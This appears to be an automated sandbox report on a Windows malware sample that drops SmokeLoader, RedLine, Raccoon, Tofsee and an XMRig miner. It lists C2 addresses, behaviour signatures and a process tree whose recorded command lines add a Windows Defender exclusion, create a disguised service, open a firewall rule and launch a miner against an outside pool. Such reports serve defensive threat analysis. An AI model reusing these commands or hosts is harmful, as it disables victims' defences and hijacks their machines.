Analysis

  • max time kernel
    117s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    29/09/2021, 03:32

General

  • Target
    e5cf31523f01f3791bf0d2dbf2a232c4.exe
  • Size 180KB
  • Sample210929-d3mmvsdfbj
  • SHA256 e312af68203fd80a2dd86a69460941ce29709424310abffd66fd7323a2b8ef6e
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://naghenrietti1.top/

  • http://kimballiett2.top/

  • http://xadriettany3.top/

  • http://jebeccallis4.top/

  • http://nityanneron5.top/

  • http://umayaniela6.top/

  • http://lynettaram7.top/

  • http://sadineyalas8.top/

  • http://geenaldencia9.top/

  • http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family
  • redline

C2
  • 92.246.89.6:38437

Extracted

Family
  • redline

Botnet
  • z0rm1onbuild

C2
  • 45.156.21.209:56326

Extracted

Family
  • redline

Botnet
  • 777777

C2
  • 193.56.146.60:18243

Extracted

Family
  • raccoon

Botnet
  • 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 10 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)

    suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 29 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 32 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Windows security modification 2 TTPs 8 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 19 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 57 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e5cf31523f01f3791bf0d2dbf2a232c4.exe
    "C:\Users\Admin\AppData\Local\Temp\e5cf31523f01f3791bf0d2dbf2a232c4.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Users\Admin\AppData\Local\Temp\e5cf31523f01f3791bf0d2dbf2a232c4.exe
      "C:\Users\Admin\AppData\Local\Temp\e5cf31523f01f3791bf0d2dbf2a232c4.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2024
  • C:\Users\Admin\AppData\Local\Temp\FF7.exe
    C:\Users\Admin\AppData\Local\Temp\FF7.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1568
    • C:\Users\Admin\AppData\Local\Temp\FF7.exe
      C:\Users\Admin\AppData\Local\Temp\FF7.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:396
  • C:\Users\Admin\AppData\Local\Temp\1297.exe
    C:\Users\Admin\AppData\Local\Temp\1297.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Users\Admin\AppData\Local\Temp\1297.exe
      C:\Users\Admin\AppData\Local\Temp\1297.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:672
  • C:\Users\Admin\AppData\Local\Temp\199A.exe
    C:\Users\Admin\AppData\Local\Temp\199A.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:472
    • C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\svchost.cmd" /S"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1372
      • C:\Windows\system32\mode.com
        mode 65,10
        3⤵
          PID:616
        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\7z.exe
          7z.exe e file.zip -p___________23441pwd11853pwd9984___________ -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:340
        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\7z.exe
          7z.exe e extracted/file_8.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:456
        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\7z.exe
          7z.exe e extracted/file_7.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1448
        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\7z.exe
          7z.exe e extracted/file_6.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1148
        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\7z.exe
          7z.exe e extracted/file_5.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1596
        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\7z.exe
          7z.exe e extracted/file_4.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1896
        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\7z.exe
          7z.exe e extracted/file_3.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1728
        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\7z.exe
          7z.exe e extracted/file_2.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1580
        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\7z.exe
          7z.exe e extracted/file_1.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1748
        • C:\Windows\system32\attrib.exe
          attrib +H "kek.exe"
          3⤵
          • Views/modifies file attributes
          PID:652
        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\kek.exe
          "kek.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1380
    • C:\Users\Admin\AppData\Local\Temp\29E0.exe
      C:\Users\Admin\AppData\Local\Temp\29E0.exe
      1⤵
      • Executes dropped EXE
      • Checks BIOS information in registry
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of AdjustPrivilegeToken
      PID:608
    • C:\Users\Admin\AppData\Local\Temp\343D.exe
      C:\Users\Admin\AppData\Local\Temp\343D.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      PID:1568
      • C:\Users\Admin\AppData\Local\Temp\343D.exe
        "C:\Users\Admin\AppData\Local\Temp\343D.exe"
        2⤵
        • Executes dropped EXE
        PID:1064
      • C:\Users\Admin\AppData\Local\Temp\343D.exe
        "C:\Users\Admin\AppData\Local\Temp\343D.exe"
        2⤵
        • Executes dropped EXE
        PID:1816
      • C:\Users\Admin\AppData\Local\Temp\343D.exe
        "C:\Users\Admin\AppData\Local\Temp\343D.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1796
    • C:\Users\Admin\AppData\Local\Temp\3C0B.exe
      C:\Users\Admin\AppData\Local\Temp\3C0B.exe
      1⤵
      • Executes dropped EXE
      PID:1284
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1284 -s 692
        2⤵
        • Loads dropped DLL
        • Program crash
        • Suspicious use of AdjustPrivilegeToken
        PID:2316
    • C:\Users\Admin\AppData\Local\Temp\3FE2.exe
      C:\Users\Admin\AppData\Local\Temp\3FE2.exe
      1⤵
      • Executes dropped EXE
      PID:796
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dphiroq\
        2⤵
          PID:2120
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yfdotocq.exe" C:\Windows\SysWOW64\dphiroq\
          2⤵
            PID:2232
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create dphiroq binPath= "C:\Windows\SysWOW64\dphiroq\yfdotocq.exe /d\"C:\Users\Admin\AppData\Local\Temp\3FE2.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:2264
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description dphiroq "wifi internet conection"
              2⤵
                PID:2300
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start dphiroq
                2⤵
                  PID:2364
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:2444
                • C:\Users\Admin\AppData\Local\Temp\4A5F.exe
                  C:\Users\Admin\AppData\Local\Temp\4A5F.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Windows security modification
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1080
                  • C:\Users\Admin\AppData\Local\Temp\613a53ee-0b0b-4dfa-b0a7-64ca0495b3d9\AdvancedRun.exe
                    "C:\Users\Admin\AppData\Local\Temp\613a53ee-0b0b-4dfa-b0a7-64ca0495b3d9\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\613a53ee-0b0b-4dfa-b0a7-64ca0495b3d9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                    2⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of AdjustPrivilegeToken
                    PID:652
                    • C:\Users\Admin\AppData\Local\Temp\613a53ee-0b0b-4dfa-b0a7-64ca0495b3d9\AdvancedRun.exe
                      "C:\Users\Admin\AppData\Local\Temp\613a53ee-0b0b-4dfa-b0a7-64ca0495b3d9\AdvancedRun.exe" /SpecialRun 4101d8 652
                      3⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1676
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\4A5F.exe" -Force
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2456
                  • C:\Users\Admin\AppData\Local\Temp\4A5F.exe
                    "C:\Users\Admin\AppData\Local\Temp\4A5F.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2484
                • C:\Windows\SysWOW64\dphiroq\yfdotocq.exe
                  C:\Windows\SysWOW64\dphiroq\yfdotocq.exe /d"C:\Users\Admin\AppData\Local\Temp\3FE2.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:2424
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:2696
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1112
                • C:\Users\Admin\AppData\Local\Temp\5FB4.exe
                  C:\Users\Admin\AppData\Local\Temp\5FB4.exe
                  1⤵
                  • Executes dropped EXE
                  PID:2592
                • C:\Users\Admin\AppData\Local\Temp\6FEA.exe
                  C:\Users\Admin\AppData\Local\Temp\6FEA.exe
                  1⤵
                  • Executes dropped EXE
                  PID:2784

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

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                      Downloads

                      memory/608-144-0x0000000005410000-0x0000000005411000-memory.dmp

                      memory/608-139-0x00000000010A0000-0x00000000010A1000-memory.dmp

                      memory/672-95-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/672-91-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/672-109-0x0000000000460000-0x0000000000461000-memory.dmp

                      memory/796-182-0x0000000000220000-0x0000000000233000-memory.dmp

                      memory/796-183-0x0000000000400000-0x000000000043E000-memory.dmp

                      memory/1080-175-0x0000000000940000-0x0000000000941000-memory.dmp

                      memory/1080-172-0x0000000000E20000-0x0000000000E21000-memory.dmp

                      memory/1080-176-0x0000000005020000-0x0000000005099000-memory.dmp

                      memory/1112-212-0x0000000000230000-0x0000000000321000-memory.dmp

                      memory/1356-57-0x0000000002560000-0x0000000002576000-memory.dmp

                      memory/1356-158-0x0000000003DD0000-0x0000000003DE6000-memory.dmp

                      memory/1568-148-0x0000000000120000-0x0000000000121000-memory.dmp

                      memory/1568-151-0x00000000754F0000-0x0000000075570000-memory.dmp

                      memory/1568-160-0x0000000004770000-0x0000000004771000-memory.dmp

                      memory/1568-152-0x0000000000630000-0x000000000064D000-memory.dmp

                      memory/1664-63-0x0000000000310000-0x0000000000311000-memory.dmp

                      memory/1664-65-0x00000000003B0000-0x00000000003B1000-memory.dmp

                      memory/1796-159-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/1796-163-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/1796-165-0x0000000004950000-0x0000000004951000-memory.dmp

                      memory/2024-55-0x00000000759B1000-0x00000000759B3000-memory.dmp

                      memory/2024-53-0x0000000000400000-0x0000000000409000-memory.dmp

                      memory/2036-56-0x0000000000220000-0x0000000000229000-memory.dmp

                      memory/2316-218-0x0000000000500000-0x0000000000501000-memory.dmp

                      memory/2424-204-0x0000000000400000-0x000000000043E000-memory.dmp

                      memory/2456-206-0x0000000002330000-0x0000000002F7A000-memory.dmp

                      memory/2456-207-0x0000000002330000-0x0000000002F7A000-memory.dmp

                      memory/2456-208-0x0000000002330000-0x0000000002F7A000-memory.dmp

                      memory/2484-193-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/2484-196-0x0000000004950000-0x0000000004951000-memory.dmp

                      memory/2484-191-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/2696-201-0x0000000000080000-0x0000000000095000-memory.dmp

                      memory/2784-210-0x0000000001C50000-0x0000000001CE0000-memory.dmp

                      memory/2784-211-0x0000000000400000-0x0000000000493000-memory.dmp